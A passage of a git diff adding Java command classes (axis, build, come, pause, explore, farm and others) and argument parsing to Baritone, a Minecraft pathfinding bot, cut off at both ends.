the string ends with whitespace, add an empty {@link ICommandArgument} to the end This + * is useful for tab completion + * @return A list of {@link ICommandArgument}s + */ + public static List from(String string, boolean preserveEmptyLast) { + List args = new ArrayList<>(); + Matcher argMatcher = ARG_PATTERN.matcher(string); + int lastEnd = -1; + while (argMatcher.find()) { + args.add(new CommandArgument( + args.size(), + argMatcher.group(), + string.substring(argMatcher.start()) + )); + lastEnd = argMatcher.end(); + } + if (preserveEmptyLast && lastEnd < string.length()) { + args.add(new CommandArgument(args.size(), "", "")); + } + return args; + } + + /** + * @see #from(String, boolean) + */ + public static List from(String string) { + return from(string, false); + } + + /** + * Returns an "unknown" {@link CommandArgument}. This shouldn't be used unless you absolutely have no information - + * ESPECIALLY not with {@link CommandInvalidArgumentException}s + * + * @return The unknown {@link CommandArgument} + */ + public static CommandArgument unknown() { + return new CommandArgument(-1, "", ""); + } +} diff --git a/src/baritone/command/defaults/AxisCommand.java b/src/baritone/command/defaults/AxisCommand.java new file mode 100644 index 00000000..2ff98ed3 --- /dev/null +++ b/src/baritone/command/defaults/AxisCommand.java @@ -0,0 +1,64 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalAxis; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class AxisCommand extends Command { + + public AxisCommand(IBaritone baritone) { + super(baritone, "axis", "highway"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + Goal goal = new GoalAxis(); + baritone.getCustomGoalProcess().setGoal(goal); + logDirect(String.format("Goal: %s", goal.toString())); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Set a goal to the axes"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The axis command sets a goal that tells Baritone to head towards the nearest axis. That is, X=0 or Z=0.", + "", + "Usage:", + "> axis" + ); + } +} diff --git a/src/baritone/command/defaults/BlacklistCommand.java b/src/baritone/command/defaults/BlacklistCommand.java new file mode 100644 index 00000000..fe49477f --- /dev/null +++ b/src/baritone/command/defaults/BlacklistCommand.java @@ -0,0 +1,70 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.process.IGetToBlockProcess; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class BlacklistCommand extends Command { + + public BlacklistCommand(IBaritone baritone) { + super(baritone, "blacklist"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + IGetToBlockProcess proc = baritone.getGetToBlockProcess(); + if (!proc.isActive()) { + throw new CommandInvalidStateException("GetToBlockProcess is not currently active"); + } + if (proc.blacklistClosest()) { + logDirect("Blacklisted closest instances"); + } else { + throw new CommandInvalidStateException("No known locations, unable to blacklist"); + } + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Blacklist closest block"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "While going to a block this command blacklists the closest block so that Baritone won't attempt to get to it.", + "", + "Usage:", + "> blacklist" + ); + } +} diff --git a/src/baritone/command/defaults/BuildCommand.java b/src/baritone/command/defaults/BuildCommand.java new file mode 100644 index 00000000..12f28795 --- /dev/null +++ b/src/baritone/command/defaults/BuildCommand.java @@ -0,0 +1,93 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.RelativeBlockPos; +import baritone.api.command.datatypes.RelativeFile; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.utils.BetterBlockPos; +import org.apache.commons.io.FilenameUtils; + +import java.io.File; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class BuildCommand extends Command { + + private final File schematicsDir; + + public BuildCommand(IBaritone baritone) { + super(baritone, "build"); + this.schematicsDir = new File(baritone.getPlayerContext().minecraft().gameDir, "schematics"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + File file = args.getDatatypePost(RelativeFile.INSTANCE, schematicsDir).getAbsoluteFile(); + if (FilenameUtils.getExtension(file.getAbsolutePath()).isEmpty()) { + file = new File(file.getAbsolutePath() + "." + Baritone.settings().schematicFallbackExtension.value); + } + BetterBlockPos origin = ctx.playerFeet(); + BetterBlockPos buildOrigin; + if (args.hasAny()) { + args.requireMax(3); + buildOrigin = args.getDatatypePost(RelativeBlockPos.INSTANCE, origin); + } else { + args.requireMax(0); + buildOrigin = origin; + } + boolean success = baritone.getBuilderProcess().build(file.getName(), file, buildOrigin); + if (!success) { + throw new CommandInvalidStateException("Couldn't load the schematic. Make sure to use the FULL file name, including the extension (e.g. blah.schematic)."); + } + logDirect(String.format("Successfully loaded schematic for building\nOrigin: %s", buildOrigin)); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + if (args.hasExactlyOne()) { + return RelativeFile.tabComplete(args, schematicsDir); + } else if (args.has(2)) { + args.get(); + return args.tabCompleteDatatype(RelativeBlockPos.INSTANCE); + } + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Build a schematic"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Build a schematic from a file.", + "", + "Usage:", + "> build - Loads and builds '.schematic'", + "> build - Custom position" + ); + } +} diff --git a/src/baritone/command/defaults/ClickCommand.java b/src/baritone/command/defaults/ClickCommand.java new file mode 100644 index 00000000..8875a372 --- /dev/null +++ b/src/baritone/command/defaults/ClickCommand.java @@ -0,0 +1,61 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class ClickCommand extends Command { + + public ClickCommand(IBaritone baritone) { + super(baritone, "click"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + baritone.openClick(); + logDirect("aight dude"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Open click"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Opens click dude", + "", + "Usage:", + "> click" + ); + } +} diff --git a/src/baritone/command/defaults/ComeCommand.java b/src/baritone/command/defaults/ComeCommand.java new file mode 100644 index 00000000..b111ee1d --- /dev/null +++ b/src/baritone/command/defaults/ComeCommand.java @@ -0,0 +1,64 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.GoalBlock; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class ComeCommand extends Command { + + public ComeCommand(IBaritone baritone) { + super(baritone, "come"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + baritone.getCustomGoalProcess().setGoalAndPath(new GoalBlock(ctx.viewerPos())); + logDirect("Coming"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Start heading towards your camera"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The come command tells Baritone to head towards your camera.", + "", + "This can be useful in hacked clients where freecam doesn't move your player position.", + "", + "Usage:", + "> come" + ); + } +} diff --git a/src/baritone/command/defaults/CommandAlias.java b/src/baritone/command/defaults/CommandAlias.java new file mode 100644 index 00000000..71c322fe --- /dev/null +++ b/src/baritone/command/defaults/CommandAlias.java @@ -0,0 +1,64 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; + +import java.util.Collections; +import java.util.List; +import java.util.stream.Stream; + +public class CommandAlias extends Command { + + private final String shortDesc; + public final String target; + + public CommandAlias(IBaritone baritone, List names, String shortDesc, String target) { + super(baritone, names.toArray(new String[0])); + this.shortDesc = shortDesc; + this.target = target; + } + + public CommandAlias(IBaritone baritone, String name, String shortDesc, String target) { + super(baritone, name); + this.shortDesc = shortDesc; + this.target = target; + } + + @Override + public void execute(String label, IArgConsumer args) { + this.baritone.getCommandManager().execute(String.format("%s %s", target, args.rawRest())); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return this.baritone.getCommandManager().tabComplete(String.format("%s %s", target, args.rawRest())); + } + + @Override + public String getShortDesc() { + return shortDesc; + } + + @Override + public List getLongDesc() { + return Collections.singletonList(String.format("This command is an alias, for: %s ...", target)); + } +} diff --git a/src/baritone/command/defaults/DefaultCommands.java b/src/baritone/command/defaults/DefaultCommands.java new file mode 100644 index 00000000..c2118ebe --- /dev/null +++ b/src/baritone/command/defaults/DefaultCommands.java @@ -0,0 +1,78 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.ICommand; + +import java.util.*; + +public final class DefaultCommands { + + private DefaultCommands() { + } + + public static List createAll(IBaritone baritone) { + Objects.requireNonNull(baritone); + List commands = new ArrayList<>(Arrays.asList( + new HelpCommand(baritone), + new SetCommand(baritone), + new CommandAlias(baritone, Arrays.asList("modified", "mod", "baritone", "modifiedsettings"), "List modified settings", "set modified"), + new CommandAlias(baritone, "reset", "Reset all settings or just one", "set reset"), + new GoalCommand(baritone), + new GotoCommand(baritone), + new PathCommand(baritone), + new ProcCommand(baritone), + new ETACommand(baritone), + new VersionCommand(baritone), + new RepackCommand(baritone), + new BuildCommand(baritone), + //new SchematicaCommand(baritone), + new LitematicaCommand(baritone), + new ComeCommand(baritone), + new AxisCommand(baritone), + new ForceCancelCommand(baritone), + new GcCommand(baritone), + new InvertCommand(baritone), + new TunnelCommand(baritone), + new RenderCommand(baritone), + new FarmCommand(baritone), + new FollowCommand(baritone), + new ExploreFilterCommand(baritone), + new ReloadAllCommand(baritone), + new SaveAllCommand(baritone), + new ExploreCommand(baritone), + new BlacklistCommand(baritone), + new FindCommand(baritone), + new MineCommand(baritone), + new ClickCommand(baritone), + new SurfaceCommand(baritone), + new ThisWayCommand(baritone), + new WaypointsCommand(baritone), + new CommandAlias(baritone, "sethome", "Sets your home waypoint", "waypoints save home"), + new CommandAlias(baritone, "home", "Path to your home waypoint", "waypoints goto home"), + new SelCommand(baritone) + )); + ExecutionControlCommands prc = new ExecutionControlCommands(baritone); + commands.add(prc.pauseCommand); + commands.add(prc.resumeCommand); + commands.add(prc.pausedCommand); + commands.add(prc.cancelCommand); + return Collections.unmodifiableList(commands); + } +} diff --git a/src/baritone/command/defaults/ETACommand.java b/src/baritone/command/defaults/ETACommand.java new file mode 100644 index 00000000..4116d65b --- /dev/null +++ b/src/baritone/command/defaults/ETACommand.java @@ -0,0 +1,84 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.behavior.IPathingBehavior; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.pathing.calc.IPathingControlManager; +import baritone.api.process.IBaritoneProcess; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class ETACommand extends Command { + + public ETACommand(IBaritone baritone) { + super(baritone, "eta"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + IPathingControlManager pathingControlManager = baritone.getPathingControlManager(); + IBaritoneProcess process = pathingControlManager.mostRecentInControl().orElse(null); + if (process == null) { + throw new CommandInvalidStateException("No process in control"); + } + IPathingBehavior pathingBehavior = baritone.getPathingBehavior(); + + double ticksRemainingInSegment = pathingBehavior.ticksRemainingInSegment().orElse(Double.NaN); + double ticksRemainingInGoal = pathingBehavior.estimatedTicksToGoal().orElse(Double.NaN); + + logDirect(String.format( + "Next segment: %.1fs (%.0f ticks)\n" + + "Goal: %.1fs (%.0f ticks)", + ticksRemainingInSegment / 20, // we just assume tps is 20, it isn't worth the effort that is needed to calculate it exactly + ticksRemainingInSegment, + ticksRemainingInGoal / 20, + ticksRemainingInGoal + )); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "View the current ETA"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The ETA command provides information about the estimated time until the next segment.", + "and the goal", + "", + "Be aware that the ETA to your goal is really unprecise", + "", + "Usage:", + "> eta - View ETA, if present" + ); + } +} diff --git a/src/baritone/command/defaults/ExecutionControlCommands.java b/src/baritone/command/defaults/ExecutionControlCommands.java new file mode 100644 index 00000000..6f6293cc --- /dev/null +++ b/src/baritone/command/defaults/ExecutionControlCommands.java @@ -0,0 +1,207 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.process.IBaritoneProcess; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +/** + * Contains the pause, resume, and paused commands. + *

+ * This thing is scoped to hell, private so far you can't even access it using reflection, because you AREN'T SUPPOSED + * TO USE THIS to pause and resume Baritone. Make your own process that returns {@link PathingCommandType#REQUEST_PAUSE + * REQUEST_PAUSE} as needed. + */ +public class ExecutionControlCommands { + + Command pauseCommand; + Command resumeCommand; + Command pausedCommand; + Command cancelCommand; + + public ExecutionControlCommands(IBaritone baritone) { + // array for mutability, non-field so reflection can't touch it + final boolean[] paused = {false}; + baritone.getPathingControlManager().registerProcess( + new IBaritoneProcess() { + @Override + public boolean isActive() { + return paused[0]; + } + + @Override + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + baritone.getInputOverrideHandler().clearAllKeys(); + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + + @Override + public boolean isTemporary() { + return true; + } + + @Override + public void onLostControl() { + } + + @Override + public double priority() { + return DEFAULT_PRIORITY + 1; + } + + @Override + public String displayName0() { + return "Pause/Resume Commands"; + } + } + ); + pauseCommand = new Command(baritone, "pause", "p", "paws") { + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + if (paused[0]) { + throw new CommandInvalidStateException("Already paused"); + } + paused[0] = true; + logDirect("Paused"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Pauses Baritone until you use resume"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The pause command tells Baritone to temporarily stop whatever it's doing.", + "", + "This can be used to pause pathing, building, following, whatever. A single use of the resume command will start it right back up again!", + "", + "Usage:", + "> pause" + ); + } + }; + resumeCommand = new Command(baritone, "resume", "r", "unpause", "unpaws") { + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + baritone.getBuilderProcess().resume(); + if (!paused[0]) { + throw new CommandInvalidStateException("Not paused"); + } + paused[0] = false; + logDirect("Resumed"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Resumes Baritone after a pause"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The resume command tells Baritone to resume whatever it was doing when you last used pause.", + "", + "Usage:", + "> resume" + ); + } + }; + pausedCommand = new Command(baritone, "paused") { + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + logDirect(String.format("Baritone is %spaused", paused[0] ? "" : "not ")); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Tells you if Baritone is paused"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The paused command tells you if Baritone is currently paused by use of the pause command.", + "", + "Usage:", + "> paused" + ); + } + }; + cancelCommand = new Command(baritone, "cancel", "c", "stop") { + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + if (paused[0]) { + paused[0] = false; + } + baritone.getPathingBehavior().cancelEverything(); + logDirect("ok canceled"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Cancel what Baritone is currently doing"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The cancel command tells Baritone to stop whatever it's currently doing.", + "", + "Usage:", + "> cancel" + ); + } + }; + } +} diff --git a/src/baritone/command/defaults/ExploreCommand.java b/src/baritone/command/defaults/ExploreCommand.java new file mode 100644 index 00000000..0b147c35 --- /dev/null +++ b/src/baritone/command/defaults/ExploreCommand.java @@ -0,0 +1,74 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.RelativeGoalXZ; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.GoalXZ; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class ExploreCommand extends Command { + + public ExploreCommand(IBaritone baritone) { + super(baritone, "explore"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + if (args.hasAny()) { + args.requireExactly(2); + } else { + args.requireMax(0); + } + GoalXZ goal = args.hasAny() + ? args.getDatatypePost(RelativeGoalXZ.INSTANCE, ctx.playerFeet()) + : new GoalXZ(ctx.playerFeet()); + baritone.getExploreProcess().explore(goal.getX(), goal.getZ()); + logDirect(String.format("Exploring from %s", goal.toString())); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + if (args.hasAtMost(2)) { + return args.tabCompleteDatatype(RelativeGoalXZ.INSTANCE); + } + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Explore things"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Tell Baritone to explore randomly. If you used explorefilter before this, it will be applied.", + "", + "Usage:", + "> explore - Explore from your current position.", + "> explore - Explore from the specified X and Z position." + ); + } +} diff --git a/src/baritone/command/defaults/ExploreFilterCommand.java b/src/baritone/command/defaults/ExploreFilterCommand.java new file mode 100644 index 00000000..6f306a96 --- /dev/null +++ b/src/baritone/command/defaults/ExploreFilterCommand.java @@ -0,0 +1,91 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.RelativeFile; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.command.exception.CommandInvalidTypeException; +import com.google.gson.JsonSyntaxException; + +import java.io.File; +import java.nio.file.NoSuchFileException; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class ExploreFilterCommand extends Command { + + public ExploreFilterCommand(IBaritone baritone) { + super(baritone, "explorefilter"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(2); + File file = args.getDatatypePost(RelativeFile.INSTANCE, ctx.minecraft().gameDir.getAbsoluteFile().getParentFile()); + boolean invert = false; + if (args.hasAny()) { + if (args.getString().equalsIgnoreCase("invert")) { + invert = true; + } else { + throw new CommandInvalidTypeException(args.consumed(), "either \"invert\" or nothing"); + } + } + try { + baritone.getExploreProcess().applyJsonFilter(file.toPath().toAbsolutePath(), invert); + } catch (NoSuchFileException e) { + throw new CommandInvalidStateException("File not found"); + } catch (JsonSyntaxException e) { + throw new CommandInvalidStateException("Invalid JSON syntax"); + } catch (Exception e) { + throw new IllegalStateException(e); + } + logDirect(String.format("Explore filter applied. Inverted: %s", Boolean.toString(invert))); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + if (args.hasExactlyOne()) { + return RelativeFile.tabComplete(args, RelativeFile.gameDir(ctx.minecraft())); + } + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Explore chunks from a json"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Apply an explore filter before using explore, which tells the explore process which chunks have been explored/not explored.", + "", + "The JSON file will follow this format: [{\"x\":0,\"z\":0},...]", + "", + "If 'invert' is specified, the chunks listed will be considered NOT explored, rather than explored.", + "", + "Usage:", + "> explorefilter [invert] - Load the JSON file referenced by the specified path. If invert is specified, it must be the literal word 'invert'." + ); + } +} diff --git a/src/baritone/command/defaults/FarmCommand.java b/src/baritone/command/defaults/FarmCommand.java new file mode 100644 index 00000000..f8bbc0c0 --- /dev/null +++ b/src/baritone/command/defaults/FarmCommand.java @@ -0,0 +1,89 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.cache.IWaypoint; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.ForWaypoints; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.utils.BetterBlockPos; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class FarmCommand extends Command { + + public FarmCommand(IBaritone baritone) { + super(baritone, "farm"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(2); + int range = 0; + BetterBlockPos origin = null; + //range + if (args.has(1)) { + range = args.getAs(Integer.class); + } + //waypoint + if (args.has(1)) { + IWaypoint[] waypoints = args.getDatatypeFor(ForWaypoints.INSTANCE); + IWaypoint waypoint = null; + switch (waypoints.length) { + case 0: + throw new CommandInvalidStateException("No waypoints found"); + case 1: + waypoint = waypoints[0]; + break; + default: + throw new CommandInvalidStateException("Multiple waypoints were found"); + } + origin = waypoint.getLocation(); + } + + baritone.getFarmProcess().farm(range, origin); + logDirect("Farming"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Farm nearby crops"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The farm command starts farming nearby plants. It harvests mature crops and plants new ones.", + "", + "Usage:", + "> farm - farms every crop it can find.", + "> farm - farm crops within range from the starting position.", + "> farm - farm crops within range from waypoint." + ); + } +} diff --git a/src/baritone/command/defaults/FindCommand.java b/src/baritone/command/defaults/FindCommand.java new file mode 100644 index 00000000..3079d88f --- /dev/null +++ b/src/baritone/command/defaults/FindCommand.java @@ -0,0 +1,116 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.BlockById; +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import baritone.api.utils.BetterBlockPos; +import baritone.cache.CachedChunk; +import net.minecraft.block.Block; +import net.minecraft.util.registry.Registry; +import net.minecraft.util.text.*; +import net.minecraft.util.text.event.ClickEvent; +import net.minecraft.util.text.event.HoverEvent; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +import static baritone.api.command.IBaritoneChatControl.FORCE_COMMAND_PREFIX; + +public class FindCommand extends Command { + + public FindCommand(IBaritone baritone) { + super(baritone, "find"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMin(1); + List toFind = new ArrayList<>(); + while (args.hasAny()) { + toFind.add(args.getDatatypeFor(BlockById.INSTANCE)); + } + BetterBlockPos origin = ctx.playerFeet(); + ITextComponent[] components = toFind.stream() + .flatMap(block -> + 